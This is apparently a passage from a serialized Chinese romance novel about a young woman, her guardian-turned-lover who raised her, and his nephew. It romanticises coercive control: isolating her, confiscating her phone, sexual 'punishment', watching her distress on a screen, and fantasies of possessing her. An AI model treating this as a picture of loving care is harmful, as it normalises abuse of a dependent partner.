下午五点的时候,秦承月过来,沈宴白的事情也忙得差不多,他又跟沈长凛打了个电话,问询谢沅的情况。
“沅沅没事,”沈长凛轻声说道,“正在用晚餐呢。”
电话的另一端,流露一道很低的喘息声。
带着颤抖的哭腔,像是被人抱在怀里吻,吻得太过了,想要哭着挣扎。
但那声喘息实在是太低了,沈宴白没能听清,他神情愣怔,还欲多问,便听沈长凛说道:“没别的事的话,回来再聊吧。”
很快秦承月就过来了,沈宴白也无暇多想。
饶是已经跟他通过电话,见到秦承月的时候,沈宴白还是愣怔了一瞬。
向来沉稳持重的秦副总,眼底尽是血丝,他低下头说道:“宴白,我求你再帮我一次。”-
谢沅在家里养了多日,沈长凛没让她见任何人,也没准允任何人来见她。
甚至是沈宴白,他都没让谢沅多见。
清早沈宴白走的时候,谢沅下来用早餐,问过好后,他就要匆忙准备离开,晚上沈宴白回来的时候,谢沅已经睡下了。
连日来两人愣生生是一句多余的话都没说。
谢沅在家休息,每天就是看书和养花。
五百页的《存在与时间》都读了一大半,一边看一边做笔记,厚厚的册子上,密密麻麻的是各种记录。
玫瑰花也被养的很好,盛开在水里,已经过去了几日,却更加娇艳欲滴。
转眼已是盛夏,酷暑难耐,秦老先生又打来电话,说想邀请谢沅过去瀛洲,从十八岁的那年夏天过后,她每个夏天都会过去替沈长凛陪外公。
老人家忙碌了一辈子,最大的心愿就是享一享天伦之乐。
可独女早逝,沈长凛又整日忙于工作。
沈宴白倒是可以,但他身份尴尬,性子张扬桀骜,也不合适。
所以这个任务交给谢沅过后,就再也没有分给过旁人,秦老先生也很喜欢她,半年来已经打了很多次电话。
沈长凛每次都以谢沅忙于学业的缘由拒绝掉,连电话都没让两人多通。
现在秦承月的事终于差不多了,沈长凛也愿意放谢沅过去。
比起燕城,瀛洲可要平静宜居多了,没什么人打搅,气候也很好,而且在瀛洲,谢沅的安全和健康是最不用担忧的。
沐浴过后,谢沅披着微湿的头发,盘腿坐在了起居室的地毯上。
她的乌发垂落,纤细的手臂被衬得更加柔白,隐约泛着些微光。
谢沅拿着小剪子,轻轻地修剪枝杈,把花束仔细地插进花泥里,长睫低垂,眉眼认真。
沈长凛帮她将卧室里的书册收整了一下。
马上就要去瀛洲,多日不见,秦老先生肯定是要多留谢沅几天的,而且现在燕城太热,家里的冷气开得很足,但谢沅身体弱,在空调房待久了容易生病。
还不如送谢沅去瀛洲避暑,顺道也好散散心。
她的书看了一半,沈长凛想了想,还是准允她带去,她反正是不觉得看书累的,作息又很乖,不会熬夜做事情。
不过喝冰水的事,他还是很严苛地告诫了谢沅一次。
得知她那次腹痛是喝冰水引起的,沈长凛差些动了真怒,家里连冷食都很注意,不会令她多吃。
在外面的时候,竟然敢一杯一杯地喝冰水了。
谢沅眸里含泪,哭腔压得低低的,手指颤抖地拉住他的衣袖,连声说她真的知道错了。
沈长凛不想罚她太狠,用了一种相对温和的方式告诫谢沅,但事后她还是哭得很厉害。
泪水丰盈,汁水也丰盈,濡湿了沈长凛的腕骨。
他抬起手擦净她的眼泪,轻吻上她的唇瓣,将她的注意力移到别处。
谢沅胆子还是很小,被罚过一回后,喝果汁都乖乖地不加冰块了,就还会继续吃冰激凌,但也明白限度到底是多少了。
自从沈宴白回来后,两人很久没有一段时间,亲密相处这么久。
那天的事过后,谢沅原本是有些紧张的,她将关系中的细微破裂看得很重,总担心一件小事没做好,以后就没法弥补了。
沈长凛陪了她几日,她才彻底放松下来。
看向谢沅潮湿着头发,就去认真修剪花枝的情景,沈长凛的心中很平静。
彻底让秦承月出局是对的,让他从谢沅的世界中消失后,他们的关系要比之前更好。
沈长凛是个很有耐心的人。
在经历先前的事情后,他更加不愿急躁冒进。
谢沅将一束花插好就放进了冰柜里,专门放花的冰柜,比卧室里她放水果和零食的小冰柜要更大一些。
她踮着脚,将花束轻轻地放进去。
沈长凛抬起手臂,从后方帮谢沅将花放好,她纤薄的后背抵在他的身前,冰柜的门阖上后,直接被沈长凛托着臀肉抱起。
她的后背抵在柜门,双腿分开,紧紧地盘住了男人的腰身。
再过两三天就要分别,这种时候叔叔总是要比平时更……一些。
只不过这次不是沈长凛要出远门,而是谢沅要离开。
眼泪被逼出来后,她的脸庞不住地想要移开,但唇瓣却被狠戾地咬住,而后是长驱直入的深吻。
谢沅眸光摇曳,总有一种要被沈长凛拆吃入腹的错觉。
夜色深长,尽头遥远-
沈宴白一连忙碌了多日,终于等到一个空闲的周末,可以稍作休歇,就从沈长凛这里得到消息,要去参加温思瑜的生日宴会。
温思瑜是晚辈,生日远没有那么大的面子。
但她是温氏集团的长公主,也是温家现任掌权人唯一的女儿,身份尊贵,自然与众不同。
往先这种场合都是谢沅出席。
她跟温思瑜熟悉,又都是女孩,可想到上回温思瑜生日私宴的事,沈宴白咬牙应了下来。
周五的晚上,他推门回来的时候,谢沅还在用晚餐。
她下午不知道做什么了,一觉睡到七八点才起来,眉眼间还是带着些困倦。
下周一就谢沅就要去瀛洲了。
那回的事后,沈宴白还没跟谢沅说过几回话,她的手机似乎是被沈长凛给收了,很多人都找他来旁敲侧击,并说跟谢沅联系不上。
沈长凛管谢沅很严。
但沈宴白觉得这次的事,他叔叔没有做得很过。
那天沈长凛当众落了匆忙赶来的秦承月的面子,就是不熟悉秦沈两家事务的人,也能觉察到不对。
沈宴白听秦承月说起,都觉得可笑。
他到底是为什么觉得沈长凛有耐心,等他慢慢想清楚,然后再做打算的?
那日秦承月来求他,沈宴白先是将他骂了一顿,然后坐下身,言说可以帮他,但是也并不能保证结果如何。
秦承月大为感激。
但沈宴白什么也没做,甚至将这桩事都没有说予沈长凛。
不过沈宴白也多日没联系得上谢沅,他早出晚归,连日来都没跟她打过几次照面,没有想到,今天回来迟了,竟还刚好遇见她。
他走上前,轻轻拉开椅子落座:“好些了吧,沅沅?”
谢沅执着餐叉在吃蛋糕,她失神了很久,连沈宴白走进都没注意到。
他在她身边落座,她才回过神来。
谢沅一时之间没反应过来沈宴白在说什么,须臾,她才细声应道:“嗯,已经全好了,哥哥。”
她是沉默寡言的性子,在他跟前话就更少了。
也是,过去那么多年,沈宴白对谢沅流露出的情绪都只有厌烦和不耐,她又不傻,自然不会主动来他的跟前讨嫌。
但另一方面,谢沅又很听沈宴白的话,凡他说的事,她也少有不应的。
顺从是一件会令人成瘾的事。
现在解决掉了秦承月,有些事是应该更进一步了。
沈宴白低眼看向谢沅樱唇边的奶油,眸色微暗,抬起手轻轻抚向她的唇角,他的声音沙哑:“嘴边弄脏了,沅沅。”
他的动作很自然,仿佛已将类似的动作做过千回百次。
谢沅却瞬时紧绷了身躯,她陡地站起身,椅子因为过急的拖动,发出了尖锐刺耳的声响。
她的脑中空白,眸底也尽是无措。
哥哥……想做什么?
第33章
沈宴白的女友众多,也时常带人参加宴席,或是去各种聚会,但很少会将人带到家里。
只有明愿是例外的。
她是沈宴白读书时的同学,身边的人都没听说他们平常有多深的交集,直到他们公开的那一天。
众人才知悉,向来风流恣意的沈家大少爷,这一回是上了真心。
明愿不是这个圈子里的人。
但她涵养很好,知书达理,落落大方,温柔浅笑的时候,比被金玉滋养出来的大小姐还要更像大家闺秀。
在沈宴白的女友中,明愿不是最漂亮的。
却一定是给人感觉最好的。
谢沅第一次见到明愿时,是在盛夏的傍晚,那天沈长凛临时有事要出国,他走的时候心情不太好,李特助跟谢沅发了消息,问她有没有空,能去送一下沈长凛吗?
她应下来,然后去了机场。
谢沅过去贵宾休息室时,沈长凛还没登机,他抬起眼帘,神情微怔地看向她。
他轻声问道:“怎么突然过来了,沅沅?”
时间过去太久,谢沅也记不清她是怎么答的,她只记得午后下了暴雨,航班延误,她待在沈长凛身边很久。
直到他上飞机,她方才离开。
沈长凛神情淡漠,语调却很温柔:“回来给你带伴手礼,有想要的,也可以跟李特助说。”
谢沅乖巧地点头,应道:“谢谢叔叔,您一路顺利。”
沈长凛淡淡地“嗯”了一声,唇边含着少许笑意。
他轻声说道:“时候不早了,快回去吧,沅沅。”
沈长凛的容色一直都很温和,所以离开以后,谢沅还是很困惑,叔叔的心情到底哪里不好了?
谢沅回到家的时候,已经接近黄昏。
下过雨后闷热了多时的天气也好转许多,傍晚的天空是那么晴朗,火烧云很漂亮,连成片的烟霞流光溢彩,像是梦里才会出现的场景。
是啊,接下来的生活的确跟梦一样。
叔叔出国了,哥哥毕业了,她也放假了。
虽然这样想很不合适,但是一想到接下来的一段时光,家里就只有她和哥哥,谢沅胸腔里就好像有小鹿在乱撞。
她轻轻地走下车,已经是傍晚,日光还是有些晒。
陪同的人笑着帮她撑开了伞,说道:“小姐今天辛苦了。”
谢沅并不辛苦,她明明什么事情也没有干。
她走在台阶上,脸庞也羞得微红,正欲摇头的时候,目光和不远处牵手走来的两人撞上了。
沈宴白微微俯身,轻吻了下身畔姑娘的脸颊。
明愿身着白裙,腰后是细细的丝带,编成蝴蝶的长结,她抬起手,红着脸将沈宴白给推开,低声说了句他什么。
沈宴白顺势握住她的手,珍重地在她的手背上吻了一下。
明愿的脸更红了。
她作势要生气,将手抽出,沈宴白终于知道收敛,没再吻她,但两人的手却牵得更紧了。
谢沅第一次知道,她向来桀骜不驯的哥哥,也会为了一个人低头,为了一个人付出全部的真心。
这和当初她在爬山时跌倒,被沈宴白救下一样,都是很旧的事。
但谢沅总还会想起。
在漫长酸涩的青春,她看沈宴白换过无数任女友,也见过他为明愿沉沦发疯。
谢沅心里从不怪沈宴白,像哥哥那样耀眼的人,本来就是万人瞩目的,谢沅只希望,沈宴白可以少讨厌她一点。
一点点就可以。
但是在方才,沈宴白的指节意欲伸过来时,谢沅觉察到了从来没有过的情绪。
她站起身,无措地看向他。
沈宴白的神色如常,他轻声又说了一遍:“嘴边弄脏了,沅沅。”
谢沅樱色的唇边染到了奶油,甜甜的一点,伸出舌尖就可以勾到,但想到每次她这样做时沈长凛的反应,她慢慢地坐下,然后用纸巾将唇擦净。
情绪依然是波动的。
谢沅调整呼吸,竭力让自己保持沉静,她深吸了一口气,向沈宴白说道:“谢谢哥哥。”
或许是她太应激了。
哥哥女伴很多,对她也少了些边界,而且他方才的动作那么流畅,应当是很习惯性的行为。
沈宴白没有多言,他自己拿了副餐具,然后坐在谢沅的对面。
他轻声问道:“叔叔不在家吗?”
谢沅还在吃蛋糕,单层的车厘子小蛋糕不是很大,但很精致,还放了几颗草莓做点缀,甜香扑鼻,甘美可口。
她执着餐叉,细声说道:“叔叔在待客厅和人谈事情。”
沈长凛不像谢沅,放假了就是真的没有事情,他哪怕在家里休息,也有很多事情要处理。
沈宴白轻轻点了点头,然后开始用餐。
他吃东西真的很随意。
谢沅今天累坏了,一整个下午都睡过去,晚餐是沈长凛特地吩咐人做的,她小时候在宁城待得久,对餐饮的整体喜好稍微偏甜。
家里的三餐向来都是随着她来,但今天全都是标准的宁城菜。
沈宴白在家里有段时间了,却始终没有发觉这件事。
他对饮食没有任何偏好,就是爱吃椰子一些。
谢沅觉得这样不太好,她跟沈长凛讲过,他没有同意,因为她在家里待得最久,沈宴白也没觉得现在的餐饮不合口味。
她心不在焉,捧起杯子喝了少许水。
沈宴白没有言语,目光却没有从谢沅的身上移开。
他的眸色微暗,心情却并不坏。
沈长凛早早就给谢沅指婚是对的,不然依她这样懵懂天真的性子,如果遇人不淑,很容易就会被男人欺骗、伤害。
沈宴白自己就是风流浪子。
他对另一半的情史没有要求,也鲜少会刻意找寻没有经验的爱人。
谢沅的反应虽然很大,抗拒的意味很明显,但觉察到她和秦承月之间没有过什么,沈宴白还是有些高兴的。
喝过水后,谢沅悄悄看了眼沈宴白。
他用餐很安静,动作优雅,还是跟以前一样,她慢慢地舒了一口气。
或许真的是她太紧绷了。
哥哥……怎么可能会想对她做什么呢?-
用完晚餐后,谢沅就上了楼,沈长凛在待客厅和人谈事情,不知道几点才结束。
她下午睡得太久,现在全然不困倦,抱了本书册慢慢地翻看。
上回在露台边差些被沈宴白给撞见,但谢沅还是很喜欢在这里看书,她舒服地窝在秋千吊椅里,夜风拂过裙摆的金色流苏,让她纤细的小腿更显白皙。
沈宴白刚刚走过来,就又看见谢沅在翻书。
她半边身子都落在秋千吊椅里的软垫上,露出来的小腿轻轻晃着,像小孩子般慢悠悠地荡。
沈宴白一手掐烟,一手执着手机,正在跟人通电话。
突然撞见他,谢沅也惊了一下。
她坐起身,听到沈宴白带着脾气说道:“你看着准备就行,反正温思瑜也不会管我送什么东西过去。”
他切断电话得很快,谢沅却还是听见了。
她忽然想起明天是温思瑜正式的生日宴会。
圈子里只有老人家的寿辰格外讲究,年轻人的话不会办得太大,像谢沅就不怎么办生日会,至多就是在家里庆祝一下。
温思瑜却不一样。
她每年生日都办得更盛大,先是私底下的小聚会,然后还有正式的大宴会。
就好像求婚、订婚和结婚,要走不一样的流程。
温思瑜是温氏集团的长公主,也是代表温家对外形象的人,这一辈里,她的容色是最出众明艳的,身份是最贵重的,她跟媒体打交道也是最多的。
她的生日会,比她父亲和母亲的还要更重要。
之前谢沅参加的私宴,就可以说是人均非富即贵,而正式的大宴会,才是真正的名流云集。
甚至可能比当初霍老先生的八十寿辰更盛大。
老先生的寿辰邀请的人都有讲究,很多人是想要参加,也全然没有门路的。
温思瑜的生日则就没太高的门槛。
而且先前她和秦承月的事爆出来,闹得不是太好看,有人甚至将之当成丑闻。
现在谢沅跟秦承月的关系要彻底解除,温家这边也好更进一步地做澄清,她这几天都跟沈长凛待在一起,跟他在一起的时候,很难去多想别的事。
听到沈宴白的话,谢沅才想起明天是温思瑜生日的正式宴会。
她有点头疼地想到,叔叔不会让沈宴白过去吧?
沈宴白跟温思瑜关系很差,其实如果论起血缘的话,他跟温家要更近一些的。
沈老先生有过两任妻子。
一位是沈蓉和沈宴白父亲的母亲,出身很寻常,去世得也很早,一位是沈长凛的母亲,秦大小姐,她是秦老先生的独女,身份贵不可言。
沈家是豪门,但到底是没法和秦家相比的。
谢沅很早之前就听说过。
与其说是沈老先生娶了秦大小姐做继室,倒不如说是他入赘到了秦家。
所以沈长凛在秦沈两家的地位才会那么高,高得无人质疑。
从来没有人会说是沈长凛夺了侄子的东西。
众人谈起这桩事,只会说沈长凛重情,竟待沈宴白那么好,因为按照沈老先生留下的遗嘱,原本整个沈家都是属于沈长凛的才对。
当初也是凭借秦家的关系,尚为沈家大小姐的沈蓉能够嫁入温家。
并做了温家主事人的妻子。
沈宴白跟温家还能说是有姑表亲,跟秦家要是严格来看,是没有任何关系的。
谢沅还听人说过。
沈长凛母亲的早逝和沈宴白的父母隐约有些牵扯,所以秦老先生那样温和的人,却从来不见沈宴白。
每次有事情,都是谢沅过去。
秦沈两家都不算大家族,本家的人不多,但燕城的豪门世家,没有哪家是真的风平浪静。
彼此之间,盘根错节,又充斥恩怨。
谢沅不了解当年的事,沈长凛也从来没跟她讲过,很多东西都是偶然间听旁人说的。
甚至有些,是在网路上看到的。
她在沈家待了多年,对很多东西还是很懵懂。
但即便是谢沅也知道,让沈宴白去温思瑜的生日会是不合适的。
她匆匆地打开手机,看着屏幕上的日期,终于想起来这几天她忘记什么事了——温思瑜的正式生日宴席,就在明天了。
正常情况下,这是谢沅应该前去的。
八成是沈长凛想她在家多休息,将事情推给了沈宴白。
沈宴白脾气不好,跟温思瑜关系又差,要是两个人明天当众出现争执,谢沅都不知道要怎么办。
她急忙站起身,拉住沈宴白的衣袖:“哥哥,明天思瑜姐姐的生日,还是让我过去吧,我已经全都好了。”
谢沅声音很急,身上的暗香随风飘了过来。
自从跟之前的女友分手后,沈宴白身边有段时间没人了。
谢沅身上的香并不浓郁,藏得很深,离得近了才能闻嗅到,有些像雪,凛冽微凉,但又混杂了柔软的玫瑰气息,像是层次分明的酒一样,惑人心弦。
沈宴白侧身,轻按住谢沅的手。
他的声音微哑:“不用,我已经答应叔叔了。”
谢沅的容色更别扭了,她不好意思地说道:“没事,哥哥,我……我跟叔叔说一下,这种事情太麻烦您了。”
她向来是很知礼识节的人,从不会越界。
但沈宴白却觉得谢沅太客气了,这话说的,仿佛他是个陌生人一样。
他正欲说什么,就听到廊道里沈长凛的声音,他似乎是跟人谈完事情了,声音很轻,带着少许慵懒:“沅沅,你在露台吗?”
谢沅的眼眸亮了亮,她声音细柔:“叔叔来了,哥哥,我现在就跟他讲。”
沈宴白不知道这是不是他的错觉。
他总觉得谢沅在沈长凛的跟前,要更放松一些,对沈长凛的依赖也更深重一些。
明明谢沅之前那么害怕沈长凛。
谢沅踩着兔子拖鞋,还没走出露台,沈长凛就进来了,她差些撞到他的怀里,沈长凛扶住了她,含着笑意说道:“小心点,沅沅。”
他扶住谢沅,等她站稳后才抬眼,看向手里还掐着烟的沈宴白。
沈长凛轻轻掀起眼皮,目光温和。
他的眸色略微有些浅,在夜晚显得很瑰丽,有一种澄明的剔透感,很容易让人放松警惕。
但沈宴白也不知道为什么,他几乎下意识地就解释道:“叔叔,我刚刚出来打电话,恰好就撞见沅沅了。”
沈长凛淡淡地“嗯”了一声。
他低眸看向谢沅,轻声说道:“这么急,是有什么事吗?”
她已经做过准备,却还是有些紧张,仰起脸庞看向沈长凛:“叔叔,明天思瑜姐姐的生日会,要不还是我去吧?”
沈长凛没有立刻应下,也没有立刻否定。
他抬眸看了沈宴白一眼,轻声说道:“是哥哥跟你说的吗,沅沅?”
沈长凛的目光平静,像是没什么情绪。
但谢沅觉察到他看向沈宴白后,本就紧张的心绪更加紧张了,她细声说道:“不是,叔叔。”
如果私下里跟沈长凛言说,还没有那么困难。
可话说到一半,又不能退回去。
“哥哥最近都很忙,”谢沅艰难地说道,“我没有什么事情,而且我已经休息好了,叔叔。”
她抬起水眸,看向沈长凛。
沈长凛不让谢沅过去,自然是希望她留在家里的,她怎么还敢自己跟他说的?
沈宴白很想拦住谢沅,但他刚想开口解释,沈长凛便点了点头,轻声说道:“可以,沅沅。”
她高兴起来,柔声说道:“谢谢叔叔。”
沈宴白到嘴边的话语,停了下来,他在多想什么?依照沈长凛对谢沅的疼宠程度,她说什么,他叔叔大抵都会应。
但谢沅是为这个请求支付了代价的-
谢沅的卧室有一面很大的镜子,平时并不常用到,所以一直用帘子罩着。
只不过偶尔也会派上用场。
谢沅小时候看屏幕不是很多,所以视力很好,直到现在也没有近视,但视力太好,有时候也是一种苦恼。
她哭得厉害,想将脸庞移开。
但沈长凛掐着谢沅的下颌,逼迫她看向镜子,他慢条斯理地说道:“刚才的话,再说一遍,沅沅。”
她说不出来,樱唇都咬得发肿,还是没说出来。
谢沅的整张脸都是绯红的,眼眸湿润,长睫连泪水都承载不动,低低地往下垂着。
沈长凛疼她怜她,但他的柔情并不用在床笫之间。
他轻笑一声,点点头:“好,那沅沅就在这里待一会儿吧。”
说完,沈长凛就真的离开了。
他不想待谢沅太狠,但他觉得谢沅这个年岁了,应当明白和男人之间的边界,尤其是沈宴白这样的男人。
为了沈宴白求到他的跟前,她是怎么想出来的?
方才答应谢沅,不过是不想在沈宴白跟前落她面子,她还真的高高兴兴准备过去了。
沈长凛神色冷淡,眉眼间也带着少许阴翳。
从廊道出来后,他回了书房。
谢沅怕得厉害,她有好多的眼泪,顺着脸庞往下落,像是一颗颗破碎的剔透宝石,她哭起来是好看的,眼尾湿红,身躯颤动,哭得梨花带雨。
或许也不全是怕的。
沈长凛的容色冷着,他坐在沙发上,向后倚靠,冷淡地看向屏幕,看谢沅什么时候会承受不住,跟他服软。
没多时,有人敲响了书房的门。
这时候也就只有管家会过来。
沈长凛没起身,低声说道:“进来。”
进来的人却是沈宴白,沈长凛平时瞧着温柔矜贵,实则威压很重,而且脾气并不比沈宴白好到哪里去。
他看了沈宴白一眼,轻声说道:“有什么事?”
沈长凛的心情不太好。
沈宴白留意到他在看屏幕,没有走得太近,说道:“叔叔,明天温家的宴席,还是我去吧。”
他跟沈长凛解释了一下刚才的事情。
沈长凛的容色依然没有缓和下来,他神情冷淡地望向屏幕,声音很轻:“不用了,既然沅沅愿意,那也不用麻烦你了。”
他温声下了逐客令:“早些休息吧,已经不早了。”
沈宴白失语片刻,最终没说什么,和沈长凛道别过后走出了书房。
他离开后,沈长凛的眉头越皱越紧。
谢沅是想跟他耗一晚上吗?平时怎么不见她这么有骨气?
一牵扯到沈宴白的事情,她总比寻常时候要更能坚持一些。
算了,她愿意耗着,那就继续耗着。
沈长凛冷笑一声,将屏幕按灭,然后取来桌案上的文件继续翻看,一刻钟过去,堪堪看了两页。
他也没心情再看,又回去看谢沅。
谢沅很久没挨过重罚,哭腔压抑得很低,带着些沙哑的意味,她其实已经没力气再哭了,但是除了哭又什么都做不了。
沈长凛一点也不想放过她。
但身躯总要先于意志。
将谢沅抱起后,他低声安抚她:“不哭了,沅沅。”
她那么怕他,可被他抱住的时候,她还是会本能地攀上他的脖颈。
沈长凛将水喂到谢沅唇边,然后抱她去沐浴,她洗澡的时候像怕水的猫儿一般,控制不住地想躲,可是躲也只知道往他的怀里钻。
他将水流放小,低声说道:“我轻一点。”
谢沅话本来就少,嗓音哑了以后话就更少,她的乌发湿哒哒地披在肩头,眼眸也半阖着,轻轻地点了点头。
她这么柔弱,这么不经风雨,这么容易掌控。
就是将她永远地关在家里,她也没有任何的办法来反抗。
可也是这样的谢沅,让沈长凛将某些话语言说出来的心都提不起来,偶尔的一句失语,也皆是趁她迷乱昏沉时讲出来的。
连那焚心的恶欲,都无法直接地讲述。
不是因为不想,而是因为不能。
有些窗户纸,是不能提前捅破的,撕破以后,前方只有空白的断崖,而后方既成的路,也会被全部摧毁。
第34章
将谢沅的乌发擦干后,沈长凛将她抱回到床上。
她已经完全没有力气了,濡湿的长睫垂落,在眼睑落下一层浅色的阴影。
沈长凛抚了抚谢沅的眼尾,声音很轻:“不哭了,沅沅,再哭明天眼睛要肿了。”
他不想将她逼得太狠,也不想将她逼得太过。
谢沅很敏感,哪怕沈长凛什么都不说,她应当也能觉察到他是因何动怒,她很聪明,在很多事情上也应当是很明白的。
可是谢沅不肯跟他服这个软。
就像是当初温思瑜和秦承月的事,她的确是在有意瞒着他,想为他们拖延时间,想为他们争取可能。
谢沅大部分时候是很乖顺的孩子。
但某些时候,她心里也是存着反叛念头的。
可谢沅没有别的武器,她话少,脸皮又薄,委屈到极致也只敢偷偷地哭,所以沈长凛想让谢沅长记性很容易。
他可以用很残忍的办法对待她。
将她养成全然的禁脔,私有物。
当初知悉谢沅真心挂念的人是沈宴白,而不是他的时候,沈长凛是动过这个想法的。
被欺骗的暗怒和无数恶欲混杂在一起,在血脉里漫涌。
潜藏在心底的黑暗阴冷思绪,亦在疯狂地侵袭。
他很想掐住谢沅的脖颈问她,为什么爱的是沈宴白,却要来引诱他?他也想问她,为什么不情愿,却还要继续欺骗他?
这数年里,沈宴白从未给过她好脸色。
养大她的人是他,仔细疼她、宠她的人也是他。
可谢沅偏偏爱的是沈宴白,还是藏在心底数年的暗恋。
沈长凛矜贵冷情,位高权重,平生从未在任何事上受过挫,唯独在这个一手养大的孩子身上,他尝到了何为不甘。
她那么柔弱,那么低微。
又是那么轻易地困住了他。
但即便是得知真相的那天,沈长凛也没舍得去动谢沅,更遑论是现如今了。
沈宴白待谢沅无意,他们之间也绝无可能。
沈长凛只希望谢沅能明白这一点,明白什么是男女之间的正确距离,可目光落在谢沅泛红的眼眸上时,他还是俯身轻吻了吻她。
“不哭了,沅沅。”他声音微哑,“叔叔没有不答应你。”
沈长凛抚了抚谢沅的脸庞,低声说道:“之前准备了两套礼服,一件是浅金色的,一件是深绿色的,明天睡醒,我们一起看看,好吗?”
罚她的人是他,动怒的人是他。
可最后先服软的人也是他。
如果少时的沈长凛知悉某一天,他会对一个姑娘如此低声下气,一定会将之当作笑话。
但这就是他跟谢沅之间常会发生的事。
谢沅的眼眸还是红的,泪水在其间摇曳,她的手指细白,无力地拉住沈长凛的衣袖。
她的声音细弱:“那叔叔……可不可以不生气了?”
为什么要先问他这个呢?
不应该先为沈宴白辩解,将他从事情中推出去,或者是先言说自己的委屈,证明方才行为的无辜吗?
为什么要在乎叔叔的心情呢?
沈长凛的腕骨和谢沅的指节触碰在一起,她得寸进尺,扣住他的手指,细声问道:“叔叔,不生我的气了,好不好?”
某一个瞬间,他在谢沅的眼中看到了自己的倒影。
他的薄唇微抿,身体再度先于意识做出回应-
夜晚过得混乱,明明已经沐浴过被抱进薄被里了,但强势的吻复又落在唇间。
谢沅的精力在那时已经告竭。
她都快要忘记夜晚是怎么过去的,也不记得到底是几点睡去的。
沈长凛没有再折腾她,可谢沅根本经不住风雨,即便他只是温柔地吻她,她也受不了,连声细弱地唤他。
他却吻得更狠了,跟要将她给拆吃了一样。
谢沅翌日睡醒的时候,身上还都是沈长凛的气息,雪松木质的暗香,仿佛是浸入了她的肌肤和血脉里。
他已经帮她沐浴过了。
但起床后,谢沅还是抱着浴袍,又去沐浴了一回,她靠坐在浴缸里,轻轻地拨水,将洒落的花瓣分开,再聚拢在一起。
沈长凛回来的时候,看到的就是这样一幕。
他早上有会,在谢沅卧室旁的起居室开完的,刚一回来,床上就没了人影。
他们第一次缠绵的时候,谢沅胆子也没大到这种地步。
沈长凛克制着怒意,准备拨她的电话,忽而听到水声,才想到谢沅是去沐浴了。
她不着寸缕,玩着水里的玫瑰花瓣,柔美的脸庞无措地仰起,眸里尽是愣怔。
目光和沈长凛对上后,谢沅的小脸瞬时就羞红了。
她讷讷地唤道:“早上好,叔叔。”
每次过完夜,谢沅总要做些心理准备,再去面对沈长凛,他平时工作忙,每次上午打来电话,她都要紧张好一会儿。
更不要说,大清早的就直接撞见他本人了。
谢沅一直知道她不太聪明,特别是在处理人际问题上,哪怕跟在沈长凛身边很久,还是会常在不经意间惹他生气,碰他逆鳞。
她心跳怦然,又很怕一句话让他不高兴。
但谢沅还没来得及多想,沈长凛就用厚毯将她裹着抱起来了。
他声音微哑:“你还没用早餐,就来沐浴,会头晕的。”
谢沅的脸庞泛红,发梢湿润,还在滴着少许的水,她被沈长凛抱在怀里,像小孩子似的坐在他的手臂上。
她将白昼和夜晚分得一直很清楚。
但抬眸看向沈长凛的薄唇时,谢沅的脸庞“滕”地烧了起来,她细声说道:“身上太香了,叔叔,我才来沐浴的。”
“对不起,叔叔,”她的眼眸微动,“我以后不会这样了。”
谢沅的话音很委婉,沈长凛却听出来了。
他稍俯身少许,就闻到了她脖颈处的冷香,两个人在一起太久了,身上的香气也交缠在了一起。
谢沅的身上尽是雪松的气息,她的肌肤本来就白。
离得近时,浮动的暗香蛊人心弦,仿佛耳边都会响起扑簌簌的落雪声。
沈长凛吻了下谢沅的额头,声音很轻:“没关系,沅沅,不过下次要是来沐浴,最好先用完早餐,可以吗?”
他的言辞本就温和,可以放柔强调的时候,更是令人全然无法抵抗。
谢沅的神情愣愣的,仿佛什么都没听进去,就本能地点头应了应。
沈长凛没有多言,帮谢沅把衣裙套上便抱她下楼用早餐。
她既然已经决定晚间去温思瑜的生日会,下午多少是要忙起来的,有很多事都要做准备。
不过眼下最重要的事,是要先喂饱谢沅。
昨天将她累着了,其实夜间该再多用些夜宵的,她有低血糖,不能总饿着,但她沐浴过后直接就睡着了。
谢沅攀着沈长凛的脖颈,脸庞泛红,但又不敢跟他说怕哥哥看见,强忍着羞耻,被沈长凛抱下楼,好在楼下管家和阿姨都不在。
她刚惹过他,现在什么都不敢拒绝。
沈长凛将谢沅半抱在腿上,喂她用早餐,她用餐很慢,哪怕整个餐桌都是她喜欢的,还是会习惯性地挑一挑食。
只有被沈长凛喂的时候,谢沅会吃得快些。
但也没快到哪里去就是。
她是一个快要饿死,也依旧慢慢夹筷子的人,不知道小时候被爸爸妈妈多娇惯,才养成这样的用餐习惯。
用完早餐后,沈长凛用纸巾擦净谢沅的唇角。
她的樱唇微微张开,露出内里洁白的贝齿和嫩红的小舌。
沈长凛稍迟地发觉一件事,谢沅虽然有些怕他,但在他的跟前根本不设防,也很本能地享受着他的照顾。
他低笑一声,将纸巾放到她的手里。
“自己擦,沅沅。”沈长凛轻声说道,“待会儿哥哥要下来了。”
他慢条斯理地端起杯子,浅饮了少许冷水。
谢沅睁开眼眸,颇有些懵然地接过纸巾,她的脸庞微红,细声说道:“我会的,叔叔。”
她将唇角擦净,然后喝了些温水。
没多时沈宴白就从楼上下来了,他昨晚睡得迟,这一段时间过得又很累很忙,清早根本起不来,但之前的项目出了些问题,助理夺命连环call。
他强作镇定,接了电话,然后立刻准备去公司。
这会儿沈宴白又有些庆幸,谢沅把去温思瑜宴席的事接了过去,他最近的烦心事不少,一点也不想见着温家人。
昨天沈长凛答应了这事,但他去书房的时候,总觉得沈长凛心情不太好。
沈宴白不知道两件事有没有关联,他还是有些担心沈长凛会生气的。
他之前总觉得是沈长凛将谢沅疼得过头,经了昨天的事后,他才倏然想到,是不是谢沅在沈长凛的面前,也有些太骄纵了呢?
沈宴白难得多想。
清早的时候,被助理这一通通电话从睡梦中唤醒,却是再没有心绪去思考。
直到沈宴白看向餐厅的时候,谢沅坐在椅子上,慢慢地自己用纸巾擦净唇角,她这个人用餐慢,反应也常慢半拍,连擦净唇角的动作,也都是慢的。
让人着急。
沈长凛有点无奈,低声说道:“沅沅,待会儿还要看裙子。”
他声音温和,语调中尽是宠溺和纵容。
谢沅红着脸,细声应道:“我好了,叔叔。”
沈宴白远远地望着,蓦地生出一种奇异的念头,仿佛谢沅和沈长凛才是真正的一家人-
谢沅在修专业课美学时,修的分数很高,比逻辑学还要更高。
但她的审美一直不是太好,勉强能看个画展,她自己是不会挑选衣裙饰品之类的。
沈长凛倒很喜欢打扮谢沅。
这两款礼服是早先就准备好的,备选的还有数十套,配套的耳饰和颈链,也全是定制的。
谢沅怕疼,一直没有打耳洞,她的耳饰都是耳夹。
她试穿了两遍小礼服,浅金色的衬腰身,将她的身形显得愈加婀娜,深绿色的衬肤色,将她的雪肤映照得如雪似玉。
沈长凛在工作上的事从来不犹豫。
